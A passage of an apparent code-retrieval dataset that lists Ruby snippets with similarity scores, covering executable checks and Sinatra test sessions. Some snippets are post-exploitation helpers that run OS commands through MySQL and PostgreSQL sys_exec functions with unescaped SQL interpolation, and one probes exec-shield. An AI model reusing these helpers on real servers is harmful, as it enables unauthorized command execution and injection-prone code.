"def is_executive?\n executive ? true : false\n end",
"def executable_real?() end",
"def executable?\n true\n end",
"def user_executable?(mode)\n mode & 00100 == 00100\n end",
"def execute_externally?\n @execution_mode == :external\n end",
"def sys_exec_check\n begin\n q = @db_connection.query(\"SELECT COUNT(*) FROM mysql.func WHERE name='sys_exec';\")\n q.each do |x|\n if x[0].to_i == 0\n return false\n else\n return true\n end\n end\n rescue Mysql::Error => e\n print_error(\"Problem Checking for SYS_EXEC() function!\")\n puts \"\\t=> \".white + \"#{e}\".light_red\n return false\n end\n end",
"def executable?\n @executable\n end",
"def executing_user_command?\n @executing_user_command\n end",
"def execute_permissions?(mode)\n (mode.to_i(8) & 1) == 1\n end",
"def executable?() end",
"def exec_shield_enabled?\n exec_shield = cmd_exec('cat /proc/sys/kernel/exec-shield').to_s.strip\n (exec_shield.eql?('1') || exec_shield.eql?('2'))\n rescue\n raise 'Could not determine exec-shield status'\n end",
"def executable?\n if @executable == true\n true\n elsif @executable.nil?\n (!abstract? && !partially_instanciated? && super)\n end\n end",
"def executable?\n if @executable == true\n true\n elsif @executable.nil?\n (!abstract? && !partially_instanciated? && super)\n end\n end",
"def sys_exec_cmd(cmd)\n begin\n q = @db_connection.query(\"SELECT sys_exec('#{cmd}');\")\n q.each do |x|\n if x[0].to_i == 0\n return true\n else\n return false\n end\n end\n rescue Mysql::Error => e\n print_error(\"Problem Executing Command!\")\n puts \"\\t=> \".white + \"#{e}\".light_red\n return false\n end\n end",
"def isExecutable(cmd)\n\treturn File.executable? cmd\nend",
"def check_execute\n unless executed?\n execute\n end\n end",
"def executable?(path)\n raise \"`executable?' method does not support Windows systems\" if session.platform == 'windows'\n\n cmd_exec(\"test -x '#{path}' && echo true\").to_s.include? 'true'\n end",
"def executable?\n (mode & P_USR_X) != 0 || (mode & P_GRP_X) != 0 || (mode & P_OTH_X) != 0\n end",
"def executed\n @process_status.nil? ? false : true\n end",
"def command?(name)\n !which(name).nil?\n end",
"def only_supports_ide?\n if node_type.is_virtual? and os_version and os_version.hvm_only?\n true\n else\n false\n end\n end",
"def exec(_cmd, _args = {})\n false\n end",
"def sys_exec_check(dbc)\n begin\n q = dbc.query(\"SELECT COUNT(*) FROM mysql.func WHERE name='sys_exec';\")\n q.each do |x|\n if x[0].to_i == 0\n return false\n else\n return true\n end\n end\n rescue Mysql::Error => e\n puts \"Problem Checking for SYS_EXEC() function\".light_red + \"!\".white\n puts \"\\t=> \".white + \"#{e}\".light_red\n return false\n end\nend",
"def command?(name)\n !which(name).nil?\n end",
"def check_command_policy\n true\n end",
"def other_executable?(mode)\n mode & 00001 == 00001\n end",
"def cmd_delegated_on_site?\n !!@record.onsite_monitoring and\n not @record.cmd_to_execute_code.blank? or not @record.cmd_to_execute.blank?\n end",
"def execute_inline?\n @execution_mode == :inline\n end",
"def exec_exixts?(name)\n `which #{name}`.start_with?('/')\n end",
"def executing?(name)\n !stack(name).empty?\n end",
"def valid_command?(val)\n system_command?(val) || pry_command?(val)\n end",
"def gui?; !ENV.fetch('OVJ_VM_GUI', '').empty?; end",
"def gui?; !ENV.fetch('OVJ_VM_GUI', '').empty?; end",
"def sys_exec_cmd(dbc, cmd)\n begin\n q = dbc.query(\"SELECT sys_exec('#{cmd}');\")\n q.each do |x|\n if x[0].to_i == 0\n return true\n else\n return false\n end\n end\n rescue Mysql::Error => e\n puts \"Problem Executing Command\".light_red + \"!\".white\n puts \"\\t=> \".white + \"#{e}\".light_red\n return false\n end\nend",
"def executable?\n ::File.executable?(@path)\n end",
"def executing?(name)\n Threaded.executing?(name)\n end",
"def command?(name)\n !which(name).nil?\nend",
"def virtual_file?(name)\n [\"(irb)\", \"-e\", \"(byebug)\", \"(eval)\"].include?(name)\n end",
"def valid_command?(cmd)\n cmd.scan(/^(PLACE|MOVE|LEFT|RIGHT|REPORT|EXIT)(.*)/i).any?\n end",
"def executed?\n @executed\n end",
"def command?(cmd)\n !!system(cmd, out: ::File::NULL, err: ::File::NULL)\n end",
"def check_command_existence(cmd_name)\n\tret = `type #{cmd_name} 1>/dev/null 2>/dev/null`\n\treturn $?.exitstatus == 0 ? true : false\nend",
"def can_process_cmd?\n settings.queue.empty?\n end",
"def sanitized_mode(old_mode)\n old_mode & USER_EXECUTE != 0 ? EXECUTABLE : NOT_EXECUTABLE\n end",
"def executed?\r\n @executed\r\n end",
"def executed?\n @executed\n end",
"def executable?; true; end",
"def executable?; true; end",
"def __valid_executable?(filename, &block)\n is_executable =\n if __transport_connection\n __transport_connection.file(filename).stat[:mode] & 1 && !__transport_connection.file(filename).directory?\n else\n File.executable?(filename) && !File.directory?(filename)\n end\n return false unless is_executable\n\n block ? yield(filename) : true\n end",
"def disabled_main_command?\r\n return false\r\n end",
"def disabled_main_command?\r\n return false\r\n end",
"def ready_for_execution?\n any_signature_pages_signed? && executable_version&.page_count && !any_signature_pages_executing?\n end",
"def has_executable_in_path(command_name)\n return nil != find_executable_in_path(command_name)\n end",
"def postgres_sys_exec(cmd)\n print_status \"Attempting to Execute: #{cmd}\"\n q = \"select pg_temp.sys_exec('#{cmd}')\"\n resp = postgres_query(q)\n if resp[:sql_error]\n print_error resp[:sql_error]\n return false\n end\n return true\n end",
"def disabled_main_command?\r\n # Gets Current Command\r\n command = @command_window.command\r\n # Gets SDK Scene_Menu Commands\r\n c = SDK::Scene_Commands::Scene_Menu\r\n # If 0 Party Size\r\n if $game_party.actors.size == 0\r\n # If Item, Skill, Equip or Status Selected\r\n if [c::Item, c::Skill, c::Equip, c::Status].include?(command)\r\n return true\r\n end\r\n end\r\n # If Save Disabled && Command is Save\r\n return true if $game_system.save_disabled && command == c::Save\r\n return false\r\n end",
"def sync_exec_required?\n Thread.current != DisplayProxy.thread\n end",
"def executable?\n sort == ::EXECUTABLE\n end",
"def vbox_host?\n host = false\n if !virtualization.nil? && (virtualization[\"system\"] == \"vbox\" || virtualization[\"systems\"][\"vbox\"] == \"host\")\n host = true if which(\"VBoxManage\")\n end\n host\n end",
"def running\n\t @vm_running = Virtualmachine.isrunning\n end",
"def whyrun_mode?\n Chef::Config[:why_run]\n end",
"def command?(name)\n __getobj__.present?(name)\n end",
"def system_command?(val)\n !!(SYSTEM_COMMAND_REGEX =~ val)\n end",
"def executable?\n \n # Return false if picked up by another WQ instance\n if id\n old_lock_version = lock_version\n self.reload\n return false if old_lock_version != lock_version\n end\n \n # Return true we can sill be executed\n return WorkerQueue.available_tasks.include?(self) && !completed? && !running? \n end",
"def was_executed?\n execution_count > 0\n end",
"def do_action(cmd)\n rc = LocalCommand.run(esx_cmd(cmd))\n\n if rc.code == 0\n return [true, rc.stdout]\n else\n err = \"Error executing: #{cmd} err: #{rc.stderr} out: #{rc.stdout}\"\n OpenNebula.log_error(err)\n return [false, rc.code]\n end\nend",
"def has_exec_position?(roles)\n #check list, if none, return false\n roles.each { |r| \n if self.status == GlobalConstants::SOCIETY_ROLES[r]\n return true;\n end\n }\n return false;\n end",
"def execute(cmd_string, complete_target = true, target = nil, sel = nil)\n #DebugTools.log_outbound_command(self.command, cmd_string, complete_target, target)\n\n target = get_target(cmd_string, sel) # note... this method will mutate cmd_string\n\n params = cmd_string.split(/ +/)\n return true if params.empty? # TODO output help text\n\n mode_command_string = @privilege_modifier + (@mode_command * params.size) + ' ' + cmd_string \n @unit.send(:mode, target, mode_command_string)\n return true \n end",
"def built_in?(command)\n command.strip.start_with?('v ')\n end",
"def launchctl?\n launchctl.present?\n end",
"def launchctl?\n launchctl.present?\n end",
"def runnable?\n tool_class.public_instance_methods(false).include?(:run)\n end",
"def execute_query?\n !@execute.nil?\n end",
"def vm_ok?\n unless @vm\n warn 'No VM initialized'\n return false\n end\n inf = vm_info\n # wait while vm is waiting for instantiating\n while [0, 1, 2].include? inf['VM']['LCM_STATE'].to_i\n sleep 10\n inf = vm_info\n end\n inf['VM']['STATE'].to_i == 3 # state 3 - VM is running\n end",
"def command_available?(command)\n find = Releasy.win_platform? ? \"where\" : \"which\"\n # Call this Kernel version of `` so it can be mocked in testing.\n result = Kernel.`(\"#{find} #{command}\")\n return false unless $? == 0\n result\n end",
"def is_executable?(file)\n mime = `file -b --mime-type #{file}`\n mime.start_with?('application/x-executable')\n end",
"def check_for_executable; end",
"def simulate_mode?\n !! ENV['simulate']\n end",
"def has_executable?(executable)\n begin\n self.connection.execute(%{which #{executable.shellescape} && test -x `which #{executable.shellescape}`})\n return true\n rescue Rye::Err\n return false\n end\n end",
"def valid_command_path?(path)\n File.exist?(path) && File.executable?(path)\n end",
"def run?\n return false unless @process\n return true\n end",
"def execute\n cli_options = OptionManager.new.execute\n argv = parse_options(cli_options[:parser])\n \n return unless argv\n \n if [nil, ''].include? cli_options[:values][:cmd]\n env.ui.info cli_options[:parser]\n else\n with_target_vms(argv) do |machine|\n manage_machine(machine, cli_options) \n end\n end\n 0\n end",
"def check_perforce\n begin \n perforce_raw = IO.popen('p4')\n perforce_check = true\n rescue\n pertest_gui_raw = IO.popen('ls /Applications')\n pertest_gui = pertest_gui_raw.readlines\n pertest_gui_list = pertest_gui.map { |a| a.strip }\n if pertest_gui_list.include?('p4v.app') || pertest_gui_list.include?('p4admin.app') || pertest_gui_list.include?('p4merge.app')\n perforce_check = true\n else\n perforce_check = false\n end\n end\n end",
"def command?\n @is_command\n end",
"def check_pythons_for_virtenv\n @candidate_pythons.each{ |py|\n if has_virtualenv_installed(py)\n @command = py\n return true\n end\n }\n return false\n end",
"def command_is_authorized?(cmd)\n AUTHORIZED_COMMANDS.include?(cmd.downcase)\n end",
"def environmentOK?()\n\tcommandsMissing = []\n\tNEEDED_COMMANDS.each{ |command|\n\t\tif !which(command)\n\t\t\tcommandsMissing.push(command)\n\t\tend\n\t}\n\tif commandsMissing.size > 0\n\tputs \"You are missing following programs:\\n\"\n\tcommandsMissing.each { |command|\n\t\tputs \"\\t#{command}\\n\"\n\t}\n\treturn false\n\tend\n\treturn true\nend",
"def executable_installed?\n @cli.system_call 'which gcloud'\n $?.success?\n end",
"def execute\n @executors.each(&:execute)\n true\n end",
"def exec_exist?(*args)\n require 'tty-which'\n TTY::Which.exist?(*args)\n end",
"def exec_exist?(*args)\n require 'tty-which'\n TTY::Which.exist?(*args)\n end",
"def machine_readable?\n @prompt == :machine\n end",
"def running?\n self.reload\n self.virtual_machine_state == \"RUNNING\"\n end",
"def command_exists?\n File.exists? self.command_file\n end",
"def exec_exist?(*args)\n require \"tty-which\"\n TTY::Which.exist?(*args)\n end",
"def run?\n return false unless @process\n return true\n end",
"def evaluable?\n true\n end"
] |
[
"0.68815583",
"0.6647718",
"0.66271204",
"0.65706",
"0.6523622",
"0.6426441",
"0.6400111",
"0.6391803",
"0.6379353",
"0.6357611",
"0.6354427",
"0.63116443",
"0.6283339",
"0.62677944",
"0.6232029",
"0.61867726",
"0.61867726",
"0.6167567",
"0.61664593",
"0.612819",
"0.6090543",
"0.6086966",
"0.6083617",
"0.60499734",
"0.6012237",
"0.60076946",
"0.5978695",
"0.5966407",
"0.59576577",
"0.59543884",
"0.594507",
"0.5914169",
"0.5911119",
"0.58877045",
"0.58738285",
"0.580505",
"0.580505",
"0.57997984",
"0.5797473",
"0.5790449",
"0.5782137",
"0.5726634",
"0.57224375",
"0.5705722",
"0.56939894",
"0.5683618",
"0.5682544",
"0.5665883",
"0.5660339",
"0.56578827",
"0.5653895",
"0.5653895",
"0.56501794",
"0.56118023",
"0.56118023",
"0.5606296",
"0.5578962",
"0.5573688",
"0.55616343",
"0.5546893",
"0.55466604",
"0.55447876",
"0.5540843",
"0.55191743",
"0.5517382",
"0.5515449",
"0.5512902",
"0.5512386",
"0.55122036",
"0.55086684",
"0.5501029",
"0.55000126",
"0.5491699",
"0.5491699",
"0.548068",
"0.5480575",
"0.5477175",
"0.54754484",
"0.54706347",
"0.5459212",
"0.5452744",
"0.54455435",
"0.54446507",
"0.5444016",
"0.5433821",
"0.5432692",
"0.5430363",
"0.5421585",
"0.54196507",
"0.5414197",
"0.541137",
"0.53960687",
"0.53923076",
"0.53923076",
"0.5382767",
"0.53725815",
"0.537133",
"0.5370622",
"0.5362066",
"0.5356514"
] |
0.74717116
|
0
|
Normal sinatra session method just returns request.session which passes through to env['rack.session'] but I don't initialize the request object until just before the route lookkup, so I need to skip directly to env.
|
def session
raise Sinatra::Unit::SessionsDisabledError unless test_sessions_enabled?
env['rack.session'] ||= {}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def session\n env['rack.session'] ||= {}\n end",
"def session\n @session ||= @app.config[:session_from_rack_env].call(@env)\n end",
"def session\n @session ||= Session.new( req )\n end",
"def session\n env[\"rack.session\"] || {}\n end",
"def session\n @session ||= Session.new(req)\n end",
"def session\n @session ||= Session.new(req)\n end",
"def session\n @session ||= Session.new(req)\n end",
"def session\n @session ||= Session.new(req)\n end",
"def session\n @session ||= Session.new(req)\n end",
"def session\n @request.env[\"rack.session\"]\n end",
"def session\n # lazy assign so session persists for entire controller life\n @session ||= Session.new(@req)\n end",
"def session\n @session ||= Session.new(@req)\n end",
"def session\n @session ||= Session.new(@req)\n end",
"def session\n @session ||= Session.new(@req)\n end",
"def session\n @session ||= Session.new(request)\n end",
"def session\n @session ||= Session.new(@request)\n end",
"def session\n @session ||= Session.new(req)\n end",
"def session\n @session ||= Session.new(@request)\n @session\n end",
"def get_sinatra_session\n sinatra_session_name = env[\"rack.session.options\"][:key]||\"rack.session\"\n# debugger\n show_session(env_cookie_hash[\"rack.session\"]) if env_cookie_hash[\"rack.session\"]\n end",
"def session\n Rack::Test::Session.new(Rack::MockSession.new(FULL_STACK_SYNERGY_APP))\nend",
"def session\n @session ||= Session.new(@req)\n end",
"def session\n @session ||= Session.new(@req)\n end",
"def session() request.session end",
"def session\n @session ||= Session.new(req)\n# Implement a method ControllerBase#session which constructs a\n# session from the request. Lazily assign this in to an ivar,\n# (@session; use ||=) that can be returned on subsequent calls to\n# #session.\n# Make sure that the #redirect_to and #render_content methods call\n# Session#store_session so that the session information is stored in the\n# cookie after the response is built.\n end",
"def session ; request.session ; end",
"def session\n last_request.env[\"rack.session\"]\n end",
"def get_session\n return Seasar::Rack::Session.get_session(@env)\n end",
"def load_session(env)\n puts \"[RSEC #{Thread.current[:request_id]}] loading session...\"\n\n @hash.clear unless @hash.empty?\n\n r = Rack::Request.new(env)\n\n puts \"[RSEC #{Thread.current[:request_id]}] request parsed: host => #{r.host}, path => #{r.path}, cookies => #{r.cookies}\"\n\n @host = r.host if @opts[:domain].nil?\n cookie = r.cookies[@opts[:cookie_name]]\n\n if cookie.nil?\n puts \"[RSEC #{Thread.current[:request_id]}] cookie is blank! returning...\"\n return\n end\n\n puts \"[RSEC #{Thread.current[:request_id]}] cookie found! unmarshalling...\"\n begin\n @hash = Marshal.load(cipher(:decrypt, cookie).tap { |o| puts \"[RSEC #{Thread.current[:request_id]}] decrypt succeeded! #{o.inspect}\" } ).tap do |o|\n puts \"[RSEC #{Thread.current[:request_id]}] finished cookie parse! #{o}\"\n end\n rescue => ex\n puts \"[RSEC #{Thread.current[:request_id]}] cookie unmarshal error! #{ex.class} '#{ex.message}'\"\n\n {}\n end\n end",
"def session env\n raise \"Rack env['#{rack_session}'] is nil ... has a Rack::Session middleware be enabled? \" + \n \"use :rack_session for custom key\" if env[rack_session].nil? \n env[rack_session]['rack.oauth'] ||= {}\n env[rack_session]['rack.oauth']['default'] ||= {}\n end",
"def session\n @req.session\n end",
"def prepare_session(env)\n session_was = env[ENV_SESSION_KEY]\n env[ENV_SESSION_KEY] = SessionHash.new(self, env)\n env[ENV_SESSION_OPTIONS_KEY] = OptionsHash.new(self, env, @default_options)\n env[ENV_SESSION_KEY].merge! session_was if session_was\n end",
"def setup(request)\n session = retrieve(request.session_id)\n request.session = session\n # TODO Marshal.dump is slow - needs optimization\n session._fingerprint = Marshal.dump(request.session.to_hash).hash\n session\n end",
"def session env\n raise \"Rack env['rack.session'] is nil ... has a Rack::Session middleware be enabled? \" + \n \"use :rack_session for custom key\" if env[rack_session].nil? \n env[rack_session]['rack.oauth'] ||= {}\n env[rack_session]['rack.oauth'][name] ||= {}\n end",
"def setup\n @env = { Rack::Session::Abstract::ENV_SESSION_KEY => '123456', Rack::Session::Abstract::ENV_SESSION_OPTIONS_KEY => Rack::Session::Abstract::ID::DEFAULT_OPTIONS}\n SmartSessionApp.test_proc = nil\n end",
"def start_session\n self.delete_session\n return @env['java.servlet_request'].session\n end",
"def session\n @request.session\n end",
"def session=(session)\n raise Sinatra::Unit::SessionsDisabledError unless test_sessions_enabled?\n env['rack.session'] = session\n end",
"def get path, args={}, env={}\n env[\"rack.session\"] ||= {}\n super(path, args, env.merge('rack.url_scheme' => 'https'))\n end",
"def reconstitute_session(env)\n request = Rack::Request.new(env)\n token = request.params[HANDSHAKE_PARAM]\n return unless token\n\n # decrypt the token and get the session cookie value\n handshake = decrypt_handshake_token(token, env)\n return unless handshake\n\n cookie_value = handshake[:session_id]\n\n # fix up Rack env\n # ensure the cookie string is set\n env[HTTP_COOKIE] = [env[HTTP_COOKIE], \"#{@session_id_key}=#{cookie_value}\"].compact.join(';')\n # Rack request object parses cookies on demand and stores data in internal env keys\n # but the current implementation is not good about writing back through to the env\n # Since requests objects are transient wrappers we have to be prepared to encounter an env\n # that may already be initialized with some state\n # if the cookie string has already been read by Rack, update Rack's internal cookie string variable\n if env[RACK_COOKIE_STRING]\n env[RACK_COOKIE_STRING] = [env[RACK_COOKIE_STRING], \"#{@session_id_key}=#{cookie_value}\"].compact.join(';')\n end\n # if the cookie string has already been read by Rack, update Rack's internal cookie hash variable\n request = Rack::Request.new(env)\n request.cookies[@session_id_key] = cookie_value # call cookies() to make Rack::Request do its stuff\n end",
"def session\n @session ||= Puffs::Session.new(req)\n end",
"def setup(request)\n session = self.new(Merb::SessionMixin.rand_uuid,\n request.session_cookie_value, request._session_secret_key)\n session._original_session_data = session.to_cookie\n request.session = session\n end",
"def start_session\n return Seasar::Rack::Session.start_session(@env)\n end",
"def get_session\n return @env['java.servlet_request'].session\n end",
"def get_session( env, sid )\n return _get_session( env, sid ) unless env['rack.multithread']\n mutex.synchronize do\n return _get_session( env, sid )\n end \n end",
"def session\n @session ||= {}\n end",
"def get_session(env, sid)\n raise '#get_session not implemented.'\n end",
"def session\n @request.session\n end",
"def get_session(env, sid)\n raise '#get_session needs to be implemented.'\n end",
"def load_session(env)\n sid = current_session_id(env)\n sid, session = get_session(env, sid)\n [sid, session || {}]\n end",
"def session\n\t\tunless @session\n\t\t\t# Load the session from the associated request if there is one.\n\t\t\t# If there isn't an associated request, this will just create a\n\t\t\t# new blank session.\n\t\t\tif self.request.session?\n\t\t\t\tself.log.debug \"Getting the request's session.\"\n\t\t\t\tself.session = request.session\n\t\t\telse\n\t\t\t\tself.log.debug \"No session loaded in the request; creating it in the response.\"\n\t\t\t\tself.session = Strelka::App::Sessions.session_class.new\n\t\t\tend\n\t\tend\n\n\t\treturn @session\n\tend",
"def get_with_session_login(path, session)\n get path, nil, {\"rack.session\" => {\"uid\" => session['uid']}}\n end",
"def session\n @session_proxy ||= Class.new do\n attr_reader :session\n\n def initialize session = {}\n @session = session\n end\n\n def [] key\n session[key]\n end\n\n def []= key, val\n return if readonly?\n session[key] = val\n end\n\n def delete key\n return if readonly?\n session.delete key\n end\n\n # makes sessions readonly\n #\n # @example prohibit writing for all actions\n # before do\n # session.readonly!\n # end\n #\n # @example prohibit writing only for :render and :display actions\n # before :render, :display do\n # session.readonly!\n # end\n def readonly!\n @readonly = true\n end\n\n def readonly?\n @readonly\n end\n\n def method_missing *args\n session.send *args\n end\n\n end.new @ctrl.env['rack.session']\n end",
"def session\n request.session\n end",
"def session\n @session ||= options[:session] || {} \n end",
"def session\n @connection.request('session-get') do |resp|\n if resp == :connection_error\n yield :connection_error\n else\n yield Session.new(resp)\n end\n end\n end",
"def find_session(env, sid); end",
"def init_session\n before do\n path = defined?(init_session_path) ? init_session_path : '/'\n get(path)\n end\n end",
"def with_session(name)\n session = _rack_test_current_session\n yield(@_rack_test_current_session = rack_test_session(name))\n ensure\n @_rack_test_current_session = session\n end",
"def set_session\n \n end",
"def session(session_store = nil)\n request.session(session_store)\n end",
"def session\r\n @session ||= {}\r\n end",
"def get_with_session_login!(path, session)\n get_with_session_login(path, session)\n session.merge!(last_request.session)\n end",
"def setup\n @current_session = new_session\n end",
"def load_session(env)\n sid = (env['HTTP_COOKIE']||'')[/#{@key}=([^,;]+)/,1]\n sid, session = get_session(env, sid)\n unless session.is_a?(Hash)\n puts 'Session: '+sid.inspect+\"\\n\"+session.inspect if $DEBUG\n raise TypeError, 'Session not a Hash'\n end\n\n options = @default_options.\n merge({ :id => sid, :by => self, :at => Time.now })\n\n env['rack.session'] = session\n env['rack.session.options'] = options\n\n return true\n end",
"def retrieve_session\n request.method = :get\n request.uri = '_session'\n Couchdbtools.execute(request)\n end",
"def session\n if Rails.env.test?\n cookies\n else\n super\n end\n end",
"def get_session(env, sid)\n\n # Start each HTTP request with a fresh view of the repository.\n Maglev.abort_transaction\n\n session = @sessions[sid] if sid\n unless sid and session\n session = Hash.new\n sid = generate_sid\n @sessions[sid] = session # Rely on the commit_transaction in set_session\n end\n return [sid, session]\n rescue Exception => e\n puts \"== Get Session: EXCEPTION: #{e}\"\n return [nil, {}]\n end",
"def session; @session; end",
"def session; @session; end",
"def session; @session; end",
"def session?\n !! session['sinatra.session']\n end",
"def expose_session_to_models\n $_SESSION = session\n end",
"def session\n\t\t\trequest.session\n\t\tend",
"def session\n @session ||= OpenStruct.new\n end",
"def session\n if current_subdomain\n request.session[current_subdomain_symbol] ||= {}\n request.session[current_subdomain_symbol] \n else\n request.session\n end\n end",
"def new_session\r\n session = ActionController::Integration::Session.new\r\n yield session if block_given?\r\n session\r\nend",
"def build_rack_test_session(_name) # :nodoc:\n if respond_to?(:build_rack_mock_session, true)\n # Backwards compatibility for capybara\n build_rack_mock_session\n else\n if respond_to?(:default_host)\n Session.new(app, default_host)\n else\n Session.new(app)\n end\n end\n end",
"def session\n if((current_subdomain rescue nil))\n request.session[current_subdomain_symbol] ||= {}\n request.session[current_subdomain_symbol]\n else\n request.session\n end\n end",
"def call(env)\n request = Wee::Request.new(env)\n\n if request.session_id\n session = @mutex.synchronize { @sessions[request.session_id] }\n if session and session.alive?\n session.call(env)\n else\n url = request.build_url(:session_id => nil, :page_id => nil)\n Wee::RefreshResponse.new(\"Invalid or expired session\", url).finish\n end\n else\n session = new_session()\n url = request.build_url(:session_id => session.id, :page_id => nil)\n Wee::RedirectResponse.new(url).finish\n end\n end",
"def session\n end",
"def rack_test_session(name = :default) # :nodoc:\n return build_rack_test_session(name) unless name\n\n @_rack_test_sessions ||= {}\n @_rack_test_sessions[name] ||= build_rack_test_session(name)\n end",
"def fixup_request( request )\n\t\trequest.session_namespace = self.class.session_namespace\n\t\treturn super\n\tend",
"def get_session\n env = get_session_tagged\n req_headers = env.request_headers\n res_headers = env.response_headers\n @session.class.new(user_id: req_headers['mhvCorrelationId'],\n expires_at: res_headers['expires'],\n token: res_headers['token'])\n end",
"def setup_rack(app = nil)\n app ||= block if block_given?\n Rack::Builder.new do\n use SessionApp\n use Warden::Manager\n run app\n end\nend",
"def init_session\n if session\n if session.updated_at < Time.now - ::Gricer.config.max_session_duration\n self.session = Session.create previous_session: session, ip_address: @ip_address, agent: agent, requested_locale: @request_locale\n else\n self.session.touch\n end\n else\n self.is_first_in_session = true\n self.session = Session.create ip_address: @ip_address, agent: agent, requested_locale: @request_locale\n self.session.touch\n end\n \n session\n end",
"def get_session\n return Seasar::CGI::Session.get_session(@cgi)\n end",
"def initialize( request )\n @request = request\n @data ||= ( File.exist?( session_path ) ? load_session : {} )\n end",
"def current_session\n @_rack_test_current_session ||= rack_test_session\n end",
"def session_get\n nessus_rest_get(\"session\")\n end",
"def _get_session(env, sid)\n logger.debug \"Getting session info for #{sid.inspect}\"\n if sid\n ses_obj = sessions.find_one( { :_id => sid } )\n if ses_obj \n logger.debug \"Found session object on #{sid.inspect}\"\n else\n logger.debug \"Unable to find session object #{sid.inspect}\"\n end\n session = MongoRack::SessionHash.new( deserialize(ses_obj['data']) ) if ses_obj and fresh?( ses_obj )\n end\n \n unless sid and session\n logger.warn \"Session ID not found - #{sid.inspect} - Creating new session\"\n session = MongoRack::SessionHash.new\n sid = generate_sid\n ret = sessions.save( { :_id => sid, :data => serialize(session) } )\n raise \"Session collision on '#{sid.inspect}'\" unless ret\n end\n merged = MongoRack::SessionHash.new.merge(session)\n logger.debug \"Setting old session #{merged.inspect}\" \n session.instance_variable_set( '@old', merged )\n return [sid, session]\n rescue => boom \n logger.error \"#{self} Hoy! something bad happened loading session data\"\n logger.error $!.inspect\n boom.backtrace.each{ |l| logger.error l } \n return [ nil, MongoRack::SessionHash.new ]\n end",
"def current_session(env=Thread.current[:env])\n return nil unless env\n setup_env(env)\n key = session['user_credentials']\n if @sessions[key]\n @refresh_sessions[key] = true\n else\n @session_mutex.synchronize do\n unless @previous_sessions[key]\n oldkey = key\n s = find_session\n key = session['user_credentials']\n @previous_sessions[oldkey] = key\n @sessions[key] = s\n @refresh_sessions[key] = true\n Thread.new do\n sleep Config::PreviousSessionTimeout\n @previous_sessions.delete(oldkey)\n end\n Thread.new do\n while @refresh_sessions[key] do\n @refresh_sessions.delete(key)\n sleep Config::SessionTimeout\n end\n @sessions.delete(key)\n end\n params['_need_cookie_update'] = true if full_path == '/ajax/poll'\n else\n key = @previous_sessions[key]\n end\n end\n end\n @sessions[key]\n end",
"def create_session\n Puppet::HTTP::Session.new(self, build_resolvers)\n end",
"def _session\n\t\t\tThread.current[SESSION]\n\t\tend",
"def session\n @context.session\n end",
"def session; end",
"def session; end",
"def session; end",
"def session; end",
"def extract_session_id\n self.session_id = (@env[\"rack.session\"] ? @env[\"rack.session\"][\"session_id\"] : nil) || @request.ip\n end",
"def reset_session\n if current_subdomain\n copier = lambda { |sess, (key, val)| sess[key] = val unless key == current_subdomain_symbol; sess }\n new_session = request.session.inject({}, &copier)\n super\n new_session.inject(request.session, &copier)\n else\n super\n end\n end"
] |
[
"0.79946643",
"0.7950045",
"0.76238835",
"0.7594641",
"0.7587598",
"0.7587598",
"0.7587598",
"0.7587598",
"0.7587598",
"0.75550073",
"0.7481431",
"0.74600905",
"0.74600905",
"0.74600905",
"0.7389183",
"0.73747015",
"0.73545957",
"0.7308764",
"0.72780275",
"0.7244397",
"0.72332597",
"0.72332597",
"0.7183865",
"0.71392184",
"0.7073434",
"0.7042417",
"0.69101465",
"0.6849568",
"0.68455577",
"0.68391556",
"0.68323475",
"0.6825986",
"0.68149835",
"0.6797694",
"0.6792454",
"0.67224306",
"0.67117417",
"0.6710786",
"0.6690869",
"0.6663596",
"0.66594964",
"0.6659339",
"0.6604052",
"0.6561004",
"0.65530217",
"0.6545131",
"0.65416265",
"0.6488149",
"0.64865685",
"0.64647293",
"0.63793",
"0.6371578",
"0.6366279",
"0.6362332",
"0.6359932",
"0.635669",
"0.63541496",
"0.6298136",
"0.62546706",
"0.6243796",
"0.6234794",
"0.6231941",
"0.6224698",
"0.6223464",
"0.6187557",
"0.61853",
"0.61774397",
"0.61727154",
"0.61727154",
"0.61727154",
"0.61257875",
"0.6120603",
"0.6116796",
"0.61017543",
"0.60879904",
"0.60859406",
"0.60817003",
"0.60759795",
"0.6070294",
"0.6069481",
"0.6066001",
"0.6059399",
"0.60564685",
"0.6052672",
"0.6051664",
"0.60333437",
"0.6012018",
"0.600907",
"0.6000871",
"0.5977612",
"0.5969875",
"0.593279",
"0.59314066",
"0.5930638",
"0.59123844",
"0.59123844",
"0.59123844",
"0.59123844",
"0.59024376",
"0.58901334"
] |
0.7878158
|
2
|
This doesn't exist in regular sinatra, but it's convenient for some tests
|
def session=(session)
raise Sinatra::Unit::SessionsDisabledError unless test_sessions_enabled?
env['rack.session'] = session
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def do_something_used_in_sinatra_app(var) end",
"def app\n Sinatra::Application # It is must and tell rspec that test it running is for sinatra\nend",
"def print_routes \n \n # Create a new hash\n h = Hash.new()\n\n # Use Sinatra advanced routes\n # to build out a hash based on the routes\n Sinatra::Application.each_route do |route|\n unless route.path.eql? \"/\" or route.path.eql? \"/*\"\n h[route.path.split(\"/\")[1]] = request.base_url + route.path \n end\n end\n\n # Return that badboy\n return h\n\nend",
"def environment\n Sinatra.application.options.env.to_sym\nend",
"def test_request\n get \"/example/route\"\n assert last_response.ok?\n body = last_response.body\n assert body[\"Hello\"]\n end",
"def app\r\n Sinatra::Application\r\n end",
"def run(req, res)\n end",
"def run_web_server(client)\n require 'sinatra/base'\n require 'json'\n\n Class.new(Sinatra::Base).class_eval do\n get '/read' do\n host = params[\"host\"] # nil is ok -- matches all hosts\n resp = client.read(\n host: host,\n service: nil,\n state: nil,\n time: nil,\n description: nil,\n tags: nil,\n metric: nil,\n ttl: nil,\n custom: nil\n )\n resp.to_json + \"\\n\"\n end\n ## need way to query by existence of tag\n\n get '/exit' do\n Thread.new {sleep 1; exit}\n \"bye\\n\"\n end\n\n run!\n end\nend",
"def app \n Sinatra::Application \nend",
"def app\n Sinatra::Application\n end",
"def app\n Sinatra::Application\n end",
"def rack_standard(env)\n [200, {\"Content-Type\" => \"text/plain\"}, [\"Hey from a standard rack app\"]]\n # Just another way to do the above, can get more request info, ...\n # @req = Rack::Request.new(env)\n # @res = Rack::Response.new\n # @res.write(\"Hey from a standard rack app\")\n # @res.finish\n end",
"def app # def app is something that Rack::Test is looking for\n FilmFile\n end",
"def app\n Sinatra::Application\nend",
"def app\n Sinatra::Application\nend",
